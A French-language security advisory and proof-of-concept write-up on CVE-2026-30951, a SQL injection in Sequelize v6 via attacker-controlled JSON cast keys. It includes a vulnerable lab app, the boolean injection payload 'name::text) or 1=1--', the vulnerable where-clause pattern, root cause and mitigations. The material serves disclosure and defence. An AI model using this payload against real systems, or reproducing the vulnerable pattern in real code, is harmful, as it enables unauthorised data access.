Retour aux mises à jour
UpdatedSep 2, 2026

CVE-2026-30951 — Mis à jour !

Injection SQL par cast JSON Sequelize

Partager

CVE-2026-30951 Injection SQL via le cast JSON de Sequelize

★ CVE-2026-30951 PoC d'injection SQL dans l'ORM Sequelize ★

https://github.com/user-attachments/assets/30b19211-890a-4780-acd9-04856ec98381

Aperçu

CVE-2026-30951 est une vulnérabilité d'injection SQL dans Sequelize v6, un ORM Node.js largement utilisé.

La vulnérabilité réside dans le traitement des clauses where JSON/JSONB. Lorsque Sequelize analyse une clé de chemin JSON contenant ::, la valeur après :: est traitée comme un type de cast SQL et est insérée dans le SQL généré sans validation appropriée.

Si un attaquant peut contrôler les clés d'objets JSON transmises à une clause where de Sequelize, il peut manipuler la requête SQL générée.

Versions affectées

CatégorieVersion
VulnérableSequelize v6.x <= 6.37.7
CorrigéeSequelize 6.37.8
Non affectéeSequelize v7 / @sequelize/core

Impact

  • Injection SQL via des clés d'objets JSON contrôlées par l'attaquant
  • Contournement de filtre de recherche via une injection booléenne
  • Manipulation non intentionnelle des conditions de requête dans le SQL généré par l'ORM

Environnement

Ce dépôt contient une application de challenge minimale vulnérable utilisant Node.js, Express, Sequelize et SQLite.

Exécution locale

npm install
npm start

L'application démarre sur :

http://127.0.0.1:9100

Docker

docker build -t cve-2026-30951-sequelize-vuln .
docker run --rm -it -p 9100:9100 --name sequelize-vuln cve-2026-30951-sequelize-vuln

Le conteneur Docker démarre sur :

http://127.0.0.1:9100

PoC

Après avoir démarré l'environnement vulnérable, suivez les étapes ci-dessous pour reproduire l'injection.

Étape 1. Envoyer une requête de recherche normale

POST /api/users/search
Content-Type: application/json

{
  "filter": {
    "name": "emma"
  }
}

Cela renvoie uniquement les utilisateurs correspondant à la logique normale de recherche par nom.

Étape 2. Déclencher une injection SQL booléenne

POST /api/users/search
Content-Type: application/json

{
  "filter": {
    "name::text) or 1=1--": "emma"
  }
}

Résultat attendu :

All user rows are returned.

Étape 3. Confirmer que l'injection SQL s'est produite

La clé JSON forgée amène Sequelize à générer une expression de cast similaire à :

CAST(json_extract(`User`.`metadata`, '$.name') AS TEXT) OR 1=1--)

Comme le type de cast est contrôlé par l'attaquant, la condition OR 1=1 modifie le comportement prévu de la clause WHERE. Le retour de toutes les lignes depuis le même point de terminaison de recherche confirme que l'injection SQL est possible.

Analyse

Cause racine technique

La vulnérabilité est causée par une validation insuffisante des types de cast JSON dans Sequelize v6.

En interne, la logique de parcours JSON de Sequelize découpe les clés de chemin JSON sur :: :

jsonKey::castType

Le type de cast est ensuite utilisé dans le SQL généré comme suit :

CAST(<json_extract_expression> AS <cast_type>)

Dans les versions vulnérables, <cast_type> n'est pas correctement échappé ni restreint à une liste blanche sûre. Cela permet à une clé JSON contrôlée par l'attaquant de sortir de l'expression de cast et d'injecter du SQL.

Schéma dangereux

Tout modèle d'application similaire à ce qui suit peut être vulnérable lors de l'utilisation des versions affectées de Sequelize :

app.post('/api/users/search', async (req, res) => {
  const users = await User.findAll({
    where: {
      metadata: req.body.filter
    }
  });

  res.json(users);
});

Ceci est dangereux car l'attaquant contrôle non seulement les valeurs JSON, mais aussi les clés des objets JSON.

Pourquoi c'est important

Cette vulnérabilité est particulièrement dangereuse car de nombreux développeurs supposent que les constructeurs de requêtes ORM protègent automatiquement contre l'injection SQL. Dans ce cas, l'injection se produit à l'intérieur du SQL généré par l'ORM, après que l'application a déjà transmis des objets JavaScript structurés à Sequelize.

Selon la logique de l'application, l'exploitation peut permettre :

  • de contourner les filtres de recherche prévus
  • de modifier les conditions booléennes de requête
  • de changer le comportement du SQL généré par l'ORM

Il s'agit fondamentalement d'un problème CWE-89 : Neutralisation incorrecte des éléments spéciaux utilisés dans une commande SQL.

Scénario

+-------------------------------------------+
|                  Attacker                 |
+-------------------------------------------+
                      |
                      | Sends crafted JSON filter
                      | with malicious name:: key
                      v
+-------------------------------------------+
|        POST /api/users/search             |
+-------------------------------------------+
                      |
                      | Sequelize JSON where clause
                      | processes key containing ::
                      v
+-------------------------------------------+
|     Unescaped SQL cast type injection     |
+-------------------------------------------+
                      |
                      | Boolean condition manipulation
                      v
+-------------------------------------------+
|          SQL Injection Confirmed          |
+-------------------------------------------+

Atténuation

  • Mettre à jour Sequelize vers 6.37.8 ou une version ultérieure
  • Ne pas transmettre directement des objets contrôlés par l'utilisateur dans les clauses where JSON/JSONB de Sequelize
  • Rejeter ou normaliser les clés JSON contrôlées par l'utilisateur avant de construire les filtres ORM
  • Utiliser une construction de filtre basée sur une liste blanche au lieu d'accepter des objets arbitraires du corps de la requête
  • Rejeter les clés JSON contenant une syntaxe de contrôle SQL ou des séparateurs de cast tels que ::, sauf si explicitement requis
  • Privilégier des champs de requête définis côté serveur, par exemple :
const allowedFilters = ['name', 'role', 'team', 'office', 'department'];

if (!allowedFilters.includes(req.body.field)) {
  throw new Error('Invalid filter field');
}

Avertissement

Ce dépôt est destiné à la recherche en sécurité, à la validation défensive et à un usage éducatif dans des environnements contrôlés uniquement.

N'utilisez pas ce PoC contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas l'autorisation explicite de tester.

EQST Insight

Nous publions une analyse de CVE et de malware une fois par mois. Si cela vous intéresse, veuillez suivre les liens ci-dessous pour consulter nos publications.

Références

Catégories